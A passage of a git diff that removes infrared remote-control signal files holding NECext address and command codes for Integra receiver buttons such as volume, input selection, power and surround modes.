-type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 42 00 00 00 -# -name: 6_UP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 42 00 00 00 -# -name: LEVEL_UP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 42 00 00 00 -# -name: SPK_LEVEL_UP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 42 00 00 00 -# -name: LEVEL+ -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 42 00 00 00 -# -name: LEV_UP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 42 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 42 00 00 00 -# -name: SPEAKER_LEVEL_DN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 42 00 00 00 -# -name: SPEAKER_LEVEL_UP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 42 00 00 00 -# -name: CH_LEVEL_+ -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 42 00 00 00 -# -name: LEVEL_UP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 42 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 42 00 00 00 -# -name: LEV_+ -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 42 00 00 00 -# -name: LEVEL_- -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 43 00 00 00 -# -name: CHANNEL_LEVEL_- -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 43 00 00 00 -# -name: 9_DOWN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 43 00 00 00 -# -name: LEVEL_DOWN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 43 00 00 00 -# -name: SPK_LEVEL_DOWN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 43 00 00 00 -# -name: LEVEL- -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 43 00 00 00 -# -name: LEV_DN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 43 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 43 00 00 00 -# -name: SUB_LEVEL_CONTROL -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 43 00 00 00 -# -name: CH_LEVEL_- -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 43 00 00 00 -# -name: ENT -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 43 00 00 00 -# -name: LEVEL_DOWN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 43 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 43 00 00 00 -# -name: LEV_- -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 43 00 00 00 -# -name: CH_SEL/TOP_MENU -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 44 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 44 00 00 00 -# -name: CHANNEL_SELECT -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 44 00 00 00 -# -name: 3_CH_SET -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 44 00 00 00 -# -name: SPK_CHANNEL_SELECT -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 44 00 00 00 -# -name: CH_SEL./TOP_MENU -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 44 00 00 00 -# -name: CH_SEL_TOP_MENU -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 44 00 00 00 -# -name: CH_SEL -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 44 00 00 00 -# -name: CH_SELECT -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 44 00 00 00 -# -name: CH_SEL -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 44 00 00 00 -# -name: LISTEN_MODE_DOWN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 45 00 00 00 -# -name: MODE_LISTEN_MODEDOWN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 45 00 00 00 -# -name: LISTENING_MODE_- -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 45 00 00 00 -# -name: LISTENING_MODE_DN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 45 00 00 00 -# -name: MODE:_LEFT -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 45 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 47 00 00 00 -# -name: STANDY -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 47 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 47 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 47 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 47 00 00 00 -# -name: STANDBY_(OFF) -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 47 00 00 00 -# -name: RECIEVER_OFF -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 47 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 47 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 48 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4C 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4C 00 00 00 -# -name: MODE:_STEREO -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4C 00 00 00 -# -name: MODE_STEREO -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4C 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4C 00 00 00 -# -name: LM_STEREO -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4C 00 00 00 -# -name: 3_/_STEREO -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4C 00 00 00 -# -name: 1_(STEREO) -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4C 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4C 00 00 00 -# -name: SURR -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4D 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4D 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4D 00 00 00 -# -name: MODE:_SURR_TOGGLE -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4D 00 00 00 -# -name: MODE_SURR_WRAP_UP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4D 00 00 00 -# -name: SURROUND_-_WRAPAROUN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4D 00 00 00 -# -name: 4_/_SURR -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4D 00 00 00 -# -name: MODE_SURROUND -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4D 00 00 00 -# -name: 4_(DPL) -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4D 00 00 00 -# -name: MODE:_STEREO -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4D 00 00 00 -# -name: MODE:_SURROUND -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4D 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4D 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4E 00 00 00 -# -name: THX -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4E 00 00 00 -# -name: MODE_THX_WRAP_UP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4E 00 00 00 -# -name: 5_/_THX -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4E 00 00 00 -# -name: MODE_THX -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4E 00 00 00 -# -name: 5_(THX) -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4E 00 00 00 -# -name: MODE:_THX -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4E 00 00 00 -# -name: THX -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4E 00 00 00 -# -name: ALL_ST -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 52 00 00 00 -# -name: MODE:_ALL_CH_STEREO -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 52 00 00 00 -# -name: MODE_ALL_CH_STEREO -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 52 00 00 00 -# -name: ALL_5_STEREO -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 52 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 52 00 00 00 -# -name: ALL_STEREO -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 52 00 00 00 -# -name: 6_/_ALL_ST. -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 52 00 00 00 -# -name: ALL_CH_STEREO -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 52 00 00 00 -# -name: MODE:_ALL_ST -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 52 00 00 00 -# -name: ALL_CHANNEL_STEREO -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 52 00 00 00 -# -name: ALL_ST -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 52 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 53 00 00 00 -# -name: OSD_MENU -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 53 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 53 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 54 00 00 00 -# -name: EXIT/RETURN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 54 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 54 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 54 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 55 00 00 00 -# -name: DISPLAY/DVD_SET -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 55 00 00 00 -# -name: DISPLAY_MODE -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 55 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 55 00 00 00 -# -name: +10_/_DISPLAY -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 55 00 00 00 -# -name: PREV_CH -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 55 00 00 00 -# -name: MUTE_ON -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 84 00 00 00 -# -name: MT-ON -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 84 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 84 00 00 00 -# -name: MUTING_ON -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 84 00 00 00 -# -name: MUTE_OFF -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 85 00 00 00 -# -name: MT-OFF -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 85 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 85 00 00 00 -# -name: MUTING_OFF -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 85 00 00 00 -# -name: SPEAKER_LAYOUT -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 88 00 00 00 -# -name: SP_A/B -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 88 00 00 00 -# -name: INPUT:_DVD -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 8C 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 8C 00 00 00 -# -name: INPUT_DVD/BD -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 8C 00 00 00 -# -name: IN_DVD -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 8C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 8C 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 8C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 8C 00 00 00 -# -name: INPUT_DVD -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 8C 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 8D 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 8E 00 00 00 -# -name: >_NEXT -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 8F 00 00 00 -# -name: <_PREVIOUS -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 90 00 00 00 -# -name: >>_FWD -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 91 00 00 00 -# -name: <<_REW -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 92 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 93 00 00 00 -# -name: LAST_M -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 94 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 96 00 00 00 -# -name: SETUP_TV_INPUT -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 97 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 98 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 99 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 9A 00 00 00 -# -name: CURSOR_DN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 9B 00 00 00 -# -name: CURSOR_LF -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 9C 00 00 00 -# -name: CURSOR_RT -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 9D 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 9E 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 9F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: CB 00 00 00 -# -name: STANDBY/ON_TOGGLE -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: CB 00 00 00 -# -name: POWER_ON/STANDBY -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: CB 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: CB 00 00 00 -# -name: INPUT_HIDDEN_1 -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: CD 00 00 00 -# -name: INPUT_HIDDEN_2 -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: CE 00 00 00 -# -name: INPUT_HIDDEN_3 -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: CF 00 00 00 -# -name: DOLBY -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D0 00 00 00 -# -name: MODE_DOLBY -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D0 00 00 00 -# -name: DTS_-_WRAPAROUND -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D1 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D1 00 00 00 -# -name: DTS -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D1 00 00 00 -# -name: MODE_DTS -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D1 00 00 00 -# -name: HDMI_OUT -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D2 00 00 00 -# -name: PURE_A -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D3 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D3 00 00 00 -# -name: PURE_AUDIO -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D3 00 00 00 -# -name: 1_/_PURE_A -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D3 00 00 00 -# -name: PURE -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D3 00 00 00 -# -name: MODE_PURE_AUDIO -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D3 00 00 00 -# -name: MODE:_REPEAT -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D3 00 00 00 -# -name: PURE_AUDIO -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D3 00 00 00 -# -name: AUDIO_ADJUST -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D4 00 00 00 -# -name: SETUP_AUDIO -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D4 00 00 00 -# -name: AUDIO_ADJ. -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D4 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D4 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D4 00 00 00 -# -name: ZONE_2_OFF -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D5 00 00 00 -# -name: CINE_FLTR -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D6 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D6 00 00 00 -# -name: RE-EQ -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D6 00 00 00 -# -name: RE-EQ/CINEMA -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D6 00 00 00 -# -name: AUDYSSEY_2EQ_WRAP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D6 00 00 00 -# -name: RE-EQ/CINEMA_WRAP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D6 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D6 00 00 00 -# -name: 9_/_RE-EQ -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D6 00 00 00 -# -name: CINE -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D6 00 00 00 -# -name: RE_EQ -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D6 00 00 00 -# -name: RE-EQ_CINEMA -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D6 00 00 00 -# -name: RE-EQ_/_CINEMA -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D6 00 00 00 -# -name: RE-EQ_/_HDD -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D6 00 00 00 -# -name: RE_EQ -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D6 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D7 00 00 00 -# -name: LATE_NIGHT -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D7 00 00 00 -# -name: LATE_NIGHT_STATE -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D7 00 00 00 -# -name: LATE_NIGHT_WRAP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D7 00 00 00 -# -name: L_NIGHT -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D7 00 00 00 -# -name: LATE_NITE -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D7 00 00 00 -# -name: OPEN_/_CLOSE -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D8 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D8 00 00 00 -# -name: AUDIO_SEL/A -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D9 00 00 00 -# -name: AUDIO_SELECT -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D9 00 00 00 -# -name: AUDIO_SELECT_WRAP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D9 00 00 00 -# -name: AUDIO_SEL -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D9 00 00 00 -# -name: AUDIO_SELECTOR -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D9 00 00 00 -# -name: 7_IPM -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: DA 00 00 00 -# -name: 1_SP_SETUP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: DB 00 00 00 -# -name: T-D/ST -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: DC 00 00 00 -# -name: MODE:_THTR_DIMENSION -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: DC 00 00 00 -# -name: MODE_THTR_DIMENSION -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: DC 00 00 00 -# -name: THEATREDIMENSIONAL -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: DC 00 00 00 -# -name: 8_T-D_SETUP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: DD 00 00 00 -# -name: 4_SW_MODE -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: DE 00 00 00 -# -name: SUB_LEVEL_CONTROL -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: DE 00 00 00 -# -name: SPK_SUB_LVL_CONTROL -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: DE 00 00 00 -# -name: SUBWOOFER_LEVEL -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: DE 00 00 00 -# -name: 5_DISTANCE -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,109.ir deleted file mode 100644 index 0f01f2bab..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,109.ir +++ /dev/null @@ -1,2180 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNER_PRESET_+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: CH+_TUNE_STEP/SL -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: PRESET_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: PRESET_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: TUNE_PRESET_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: CH_+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: XM_PRESET_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: CH_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: CH_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: CH/DISC/ALBUM_+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: CHAN_+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: TUNER_PRESET_- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: CH-_TUNE_STEP/SL -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: PRESET_< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: PRESET_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: TUNE_PRESET_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: CH_- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: XM_PRESET_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: CH_DN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: CH_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: CH/DISC/ALBUM_- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: CHAN_- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: VOL_- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 04 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 04 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 04 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 04 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 04 00 00 00 -# -name: RECIEVER_ON -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 04 00 00 00 -# -name: RCVR_ON -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 04 00 00 00 -# -name: MUTING/M -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 05 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 05 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 05 00 00 00 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 05 00 00 00 -# -name: VOLUME_MUTE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 05 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 05 00 00 00 -# -name: MUTING_(TOGGLE) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 05 00 00 00 -# -name: INPUT:_TAPE_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 07 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 07 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 07 00 00 00 -# -name: INPUT:_TAP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: INPUT:_TAPE_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: IN_TAPE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: TAP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: INPUT:_TAPE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: INPUT_TAPE_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: INPUT_TAPE -type: parsed -protocol: NECext -address: D2 6D 